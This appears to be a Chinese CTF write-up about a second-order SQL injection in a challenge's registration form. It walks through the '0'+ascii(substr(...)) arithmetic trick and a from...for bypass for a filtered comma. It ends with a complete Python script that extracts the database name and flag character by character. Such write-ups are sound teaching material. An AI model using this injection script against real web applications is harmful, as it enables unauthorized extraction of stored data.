打开题目,
    image.png
    弱口令尝试,失败,sqlmap跑注入点,也失败。
    dirsearch扫一下看看

    1. [13:55:42] 200 - 2KB - /register.php

    发现一个注册页面,继续尝试sqlmap,还是什么反应都没有,只好随便注册一个东西看看,注册登录之后,页面只有一副插图
    image.png
    但是右边有个侧边栏
    image.png
    这里的123是刚才注册时填写的用户名,猜测这里存在二次注入,猜测sql语句应该是:

    1. insert into tables values('$email','$username','$password')

    因为需要闭合单引号,所以需要用一点特殊技巧。
    sql中的+运算类似php:

    1. MariaDB [(none)]> select '0'+'1';
    2. +---------+
    3. | '0'+'1' |
    4. +---------+
    5. | 1 |
    6. +---------+
    7. 1 row in set (0.002 sec)

    查询数据库的第一个字符的ascii:

    1. MariaDB [mysql]> select '0'+ascii(substr(database(),1,1));
    2. +-----------------------------------+
    3. | '0'+ascii(substr(database(),1,1)) |
    4. +-----------------------------------+
    5. | 109 |
    6. +-----------------------------------+
    7. 1 row in set (0.001 sec)

    那么就可以构造注入语句:

    1. insert into tables values('admin@admin.com','0'+ascii(substr((select database()),1,1))+'0','admin')

    但是因为也被过滤了,所以使用from…for:

    1. insert into tables values('admin@admin.com','0'+ascii(substr((select database()) from 1 for 1))+'0','admin')

    上个脚本跑出来flag:

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. import requests
    4. from bs4 import BeautifulSoup
    5. reg_url="http://220.249.52.134:54531/register.php"
    6. log_url="http://220.249.52.134:54531/login.php"
    7. def get_database():
    8. database_name = ""
    9. for i in range(10):
    10. reg_data={
    11. "username":"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
    12. "email":"attack@qq.com"+str(i+1),
    13. "password":"attack"
    14. }
    15. log_data={
    16. "email":"attack@qq.com"+str(i+1),
    17. "password":"attack"
    18. }
    19. r=requests.post(url=reg_url,data=reg_data)
    20. r=requests.post(url=log_url,data=log_data)
    21. for i in get_name_from_ascii(r.content):
    22. database_name+=i
    23. return database_name
    24. def get_flag():
    25. flag = ""
    26. for i in range(50):
    27. reg_data = {
    28. "username": "0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
    29. "email": "attack@qq.com1"+str(i+1),
    30. "password": "attack"
    31. }
    32. log_data = {
    33. "email": "attack@qq.com1"+str(i+1),
    34. "password": "attack"
    35. }
    36. r = requests.post(url=reg_url, data=reg_data)
    37. r = requests.post(url=log_url, data=log_data)
    38. for i in get_name_from_ascii(r.content):
    39. flag += i
    40. print(flag)
    41. def get_name_from_ascii(content):
    42. soup=BeautifulSoup(content,"html5lib")
    43. name = soup.find("span", class_="user-name").get_text()
    44. if name.strip()!="0":
    45. yield chr(int(name.strip()))
    46. if __name__=="__main__":
    47. get_flag()

    原本是应该跑出来表名,但是information被过滤了,没办法,只能猜表名。